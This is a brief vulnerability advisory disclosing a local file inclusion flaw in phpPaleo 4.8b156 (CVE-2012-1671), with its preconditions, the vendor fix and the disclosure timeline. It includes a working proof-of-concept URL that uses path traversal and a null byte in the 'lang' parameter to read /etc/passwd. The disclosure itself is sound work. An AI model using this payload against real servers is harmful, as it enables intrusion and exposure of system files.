'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
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A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.


II. TESTED VERSION
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4.8b156


III. PoC EXPLOIT
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http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00


IV. NOTES
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* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
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Upgrade to 4.8b157 or above.


VI. REFERENCES
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http://sourceforge.net/projects/phppaleo/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671


VII. TIMELINE
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03/01/2012 - Initial vendor disclosure
03/02/2012 - Vendor patched and released an updated version
04/04/2012 - Public disclosure